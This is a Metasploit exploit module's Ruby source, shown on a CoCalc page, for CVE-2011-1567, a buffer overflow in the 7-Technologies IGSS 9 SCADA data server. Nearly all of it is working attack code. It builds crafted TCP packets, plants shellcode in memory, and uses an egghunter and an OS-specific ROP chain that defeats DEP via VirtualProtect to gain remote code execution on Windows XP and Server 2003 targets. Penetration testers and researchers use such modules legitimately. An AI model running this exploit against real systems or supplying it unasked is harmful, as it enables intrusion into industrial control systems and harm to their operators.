CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/scada/igss9_igssdataserver_rename.rb
Views: 11783
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = NormalRanking
8
9
include Msf::Exploit::Remote::Tcp
10
include Msf::Exploit::Remote::Egghunter
11
12
def initialize(info={})
13
super(update_info(info,
14
'Name' => "7-Technologies IGSS 9 IGSSdataServer .RMS Rename Buffer Overflow",
15
'Description' => %q{
16
This module exploits a vulnerability found on 7-Technologies IGSS 9. By supplying
17
a long string of data to the 'Rename' (0x02), 'Delete' (0x03), or 'Add' (0x04) command,
18
a buffer overflow condition occurs in IGSSdataServer.exe while handing an RMS report,
19
which results arbitrary code execution under the context of the user.
20
21
The attack is carried out in three stages. The first stage sends the final payload to
22
IGSSdataServer.exe, which will remain in memory. The second stage sends the Add command
23
so the process can find a valid ID for the Rename command. The last stage then triggers
24
the vulnerability with the Rename command, and uses an egghunter to search for the
25
shellcode that we sent in stage 1. The use of egghunter appears to be necessary due to
26
the small buffer size, which cannot even contain our ROP chain and the final payload.
27
},
28
'License' => MSF_LICENSE,
29
'Author' =>
30
[
31
'Luigi Auriemma <aluigi[at]autistici.org>', #Initial discovery, poc
32
'sinn3r', #Metasploit
33
],
34
'References' =>
35
[
36
['CVE', '2011-1567'],
37
['OSVDB', '72352'],
38
['URL', 'http://aluigi.altervista.org/adv/igss_5-adv.txt'],
39
['URL', 'https://www.cisa.gov/uscert/ics/advisories/ICSA-11-132-01A']
40
],
41
'Payload' =>
42
{
43
'BadChars' => "\x00",
44
'StackAdjustment' => -3500,
45
},
46
'DefaultOptions' =>
47
{
48
'EXITFUNC' => "seh",
49
},
50
'Platform' => 'win',
51
'Targets' =>
52
[
53
[
54
'Windows XP SP3',
55
{
56
'Ret' => 0x1B0938B8, #ADD ESP,910; RETN 10 MSJET40.dll
57
'RopOffset' => 68, #Offset to the ROP chain
58
'Offset' => 500, #Offset to SE Handler (stack pivot)
59
'Max' => 8000, #Max buffer size
60
}
61
],
62
[
63
'Windows Server 2003 SP2/R2 SP2',
64
{
65
'Ret' => 0x1B093622, #ADD ESP,910; RETN 10 MSJET40.dll
66
'RopOffset' => 76, #Offset to the ROP chain
67
'Offset' => 500, #Offset to SE Handler (stack pivot)
68
'Max' => 8000, #Max buffer size
69
}
70
]
71
],
72
'Privileged' => false,
73
'DisclosureDate' => '2011-03-24'))
74
75
register_options(
76
[
77
Opt::RPORT(12401, false),
78
]
79
)
80
end
81
82
#We need to send the Add command first, so that IGSSdataServer.exe can find the 'ID' before
83
#triggering the vulnerable code path we're trying to hit. Without this, we'll just hit
84
#"FAILED renameDicRec. ID not found %s" (logText function).
85
def add_template(id)
86
buf = ''
87
buf << "\x9b\x00" #Packet size
88
buf << "\x01\x00\x34\x12"
89
buf << "\x07" #Opcode
90
buf << "\x00\x00\x00\x00\x00\x00\x00"
91
buf << "\x01" #Flag
92
buf << "\x00\x00\x00"
93
buf << "\x04" #Command (add)
94
buf << "\x00\x00\x00"
95
buf << id
96
buf << "\x00"
97
buf << "\x00"*31
98
buf << "\x78"
99
buf << "\x00"*63
100
buf << "\x78"
101
buf << "\x00"*28
102
103
connect
104
105
sock.put(buf)
106
107
print_status("Sending ADD command to #{datastore['RHOST']}")
108
res = sock.recv(1024)
109
110
disconnect
111
112
return res
113
end
114
115
#Since we don't have a lot of space on the stack when we trigger the overflow, we send a
116
#separate packet that contains our final payload, and let egghunter look for it later in memory
117
def inject_payload(my_payload)
118
119
buf = ''
120
buf << "\x01\x00\x34\x12"
121
buf << "\x0D" #Opcode
122
buf << "\x00\x00\x00\x00\x00\x00\x00"
123
buf << "\x01" #Flag
124
buf << "\x00\x00\x00"
125
buf << "\x01" #Command (ListAll)
126
buf << "\x00\x00\x00"
127
buf << my_payload
128
buf << Rex::Text.rand_text_alpha(1024-my_payload.length)
129
buf << "\x00"*130
130
131
#Packet size
132
buf_size = [buf.length + 2].pack('v')
133
buf = buf_size + buf
134
135
connect
136
137
sock.put(buf)
138
print_status("Injecting payload in memory to #{datastore['RHOST']}")
139
140
disconnect
141
end
142
143
#It's definitely junk
144
def junk
145
return rand_text(4).unpack("L")[0].to_i
146
end
147
148
def sploit_rename(id)
149
#Egghunter is used because we don't really have a lot of space on the stack
150
#to fit the ROP chain and a larger payload
151
eggoptions =
152
{
153
:checksum => true,
154
:eggtag => 'W00T',
155
:depmethod => 'virtualprotect',
156
:depreg => 'esi'
157
}
158
159
hunter, p = generate_egghunter(payload.encoded, payload_badchars, eggoptions)
160
161
#depreg (Put VirtualProtect in ESI)
162
esi = "\x81\xf6\x16\x1b\x5f\x5e" #XOR ESI, 0x5E5F1B16
163
esi << "\x3e\x8b\x36" #MOV ESI, DWORD PTR DS:[ESI]
164
165
#Put depreg alignment
166
hunter = esi + hunter
167
168
#Send final payload first, and let egghunter look for it
169
inject_payload(p)
170
171
#Max ROP chain size we can use is 406 bytes
172
rop = [
173
:xchg_esp_ebp,
174
#0x59ABA24B, #PUSH ESP # POP EBP # RETN [dbghelp.dll]
175
junk,
176
junk,
177
junk,
178
junk,
179
0x1B76A59E, #XCHG EAX,EBP # RETN [dao360.dll]
180
0x1B8260DD, #ADD EAX,20 # RETN [msjtes40.dll]
181
:add_eax_100,
182
#0x1B09FA13, #ADD EAX,100 # RETN 0C [MSJET40.DLL]
183
184
#VirtualProtect Argument ([0x540214])
185
:xchg_eax_ecx,
186
junk,
187
junk,
188
junk,
189
:pop_eax,
190
0x3BABFD6D, #0x3BABFD6D xor 0x3BFFFF79
191
0x1B7802A3, #XOR EAX,3BFFFF79 # RETN [dao360.dll]
192
0x1b73f3bd, #MOV EAX,DWORD PTR DS:[EAX] # RETN [dao360.dll]
193
:xchg_eax_ecx,
194
0x1B829E75, #MOV DWORD PTR DS:[EAX],ECX # RETN [msjtes40.dll]
195
0x1B74C50A, #ADD EAX,4 # RETN [dao360.dll]
196
197
#Retn:
198
:xchg_eax_esi,
199
#0x1B0505C1, #PUSH EAX # POP ESI # RETN 4 [MSJET40.DLL]
200
0x1B8260DD, #ADD EAX,20 # RETN [Module : msjtes40.dll]
201
junk,
202
0x1B8260DD, #ADD EAX,20 # RETN [msjtes40.dll]
203
0x1B8260DD, #ADD EAX,20 # RETN [msjtes40.dll]
204
0x1B8260DD, #ADD EAX,20 # RETN [msjtes40.dll]
205
:xchg_eax_ecx,
206
:mov_eax_esi_pop_esi,
207
#0x1B03AD44, #MOV EAX,ESI # POP ESI # RETN [MSJET40.DLL]
208
0x5E0B1902, #:depreg initial value to xor
209
0x1B829E75, #MOV DWORD PTR DS:[EAX],ECX # RETN [msjtes40.dll]
210
0x1B74C50A, #ADD EAX,4 # RETN [dao360.dll]
211
212
#Shellcode:
213
0x1B829E75, #MOV DWORD PTR DS:[EAX],ECX # RETN [msjtes40.dll]
214
0x1B74C50A, #ADD EAX,4 # RETN [dao360.dll]
215
216
#Size (100 bytes -- enough for egghunter)
217
:xchg_eax_ecx,
218
:pop_eax,
219
:size_xor,
220
0x1B7802A3, #XOR EAX,3BFFFF79 # RETN [dao360.dll]
221
:xchg_eax_ecx,
222
0x1B829E75, #MOV DWORD PTR DS:[EAX],ECX # RETN [msjtes40.dll]
223
0x1B74C50A, #ADD EAX,4 # RETN [dao360.dll]
224
225
#newProtect (0x40):
226
:xchg_eax_ecx,
227
:pop_eax,
228
0x3BFFFF39, #0x3BFFFF39 xor 0x3BFFFF79
229
0x1B7802A3, #XOR EAX,3BFFFF79 # RETN [dao360.dll]
230
:xchg_eax_ecx,
231
0x1B829E75, #MOV DWORD PTR DS:[EAX],ECX # RETN [msjtes40.dll]
232
0x1B74C50A, #ADD EAX,4 # RETN [dao360.dll]
233
234
#oldProtect
235
0x1B731395, #POP ECX # RETN [dao360.dll]
236
0x1B82B410, #.data section (WR) in msjtes40.dll
237
0x1B829E75, #MOV DWORD PTR DS:[EAX],ECX # RETN [msjtes40.dll]
238
239
#Align the rewind part
240
0x1B829E86, # ADD EAX,0C # RETN [msjtes40.dll]
241
242
#Rewind
243
:rewind,
244
245
#Execute
246
0x1B72A833, #XCHG EAX,ESP # RETN [dao360.dll]
247
]
248
249
#OS specific gadgets
250
rop.map! do |gadget|
251
if gadget == :xchg_esp_ebp
252
(target.name =~ /xp/i) ? 0x59ABA24B : 0x6D5E2223
253
elsif gadget == :add_eax_100
254
(target.name =~ /xp/i) ? 0x1B09FA13 : 0x1B09F6F3
255
elsif gadget == :xchg_eax_esi
256
(target.name =~ /xp/i) ? 0x1B0505C1 : 0x1B051B71
257
elsif gadget == :xchg_eax_ecx
258
(target.name =~ /xp/i) ? 0x1B02708C : 0x1B02B28D
259
elsif gadget == :mov_eax_esi_pop_esi
260
(target.name =~ /xp/i) ? 0x1B03AD44 : 0x1B110735
261
elsif gadget == :pop_eax
262
(target.name =~ /xp/i) ? 0x1B0C65B6 : 0x1B0c6169
263
elsif gadget == :size_xor
264
(target.name =~ /xp/i) ? 0x3BFFFF01 : 0x3BFFFF1D
265
elsif gadget == :rewind
266
(target.name =~ /xp/i) ? 0x1B03D70A : 0x1B03C741
267
else
268
gadget
269
end
270
end
271
272
rop = rop.pack('V*')
273
274
sploit = ''
275
sploit << Rex::Text.rand_text_alpha(target['RopOffset'])
276
sploit << rop
277
sploit << Rex::Text.rand_text_alpha(target['Offset']-sploit.length)
278
sploit << [target.ret].pack('V') #Pivot
279
sploit << make_nops(12) #Padding
280
sploit << hunter
281
sploit << Rex::Text.rand_text_alpha(target['Max']-sploit.length)
282
283
#Create the packet with our naughty payload
284
pkt = "\x00\x04" #Funky size causes overflow
285
pkt << "\x01\x00\x34\x12"
286
pkt << "\x07" #Opcode
287
pkt << "\x00\x00\x00\x00\x00\x00\x00"
288
pkt << "\x02" #Flag
289
pkt << "\x00\x00\x00"
290
pkt << "\x02" #Command
291
pkt << "\x00\x00\x00"
292
pkt << id
293
pkt << "\x00"
294
pkt << sploit
295
296
connect
297
298
print_status("Sending malicious request to #{datastore['RHOST']}")
299
sock.put(pkt)
300
301
handler
302
303
#egghunter takes a few seconds, wait a bit before disconnect
304
select(nil, nil, nil, 3)
305
disconnect
306
end
307
308
def exploit
309
id = Rex::Text.rand_text_alpha(8)
310
311
res = add_template(id)
312
if res !~ /Report/i
313
print_error("Failed to add template:#{res}")
314
return
315
end
316
317
sploit_rename(id)
318
end
319
end
320
321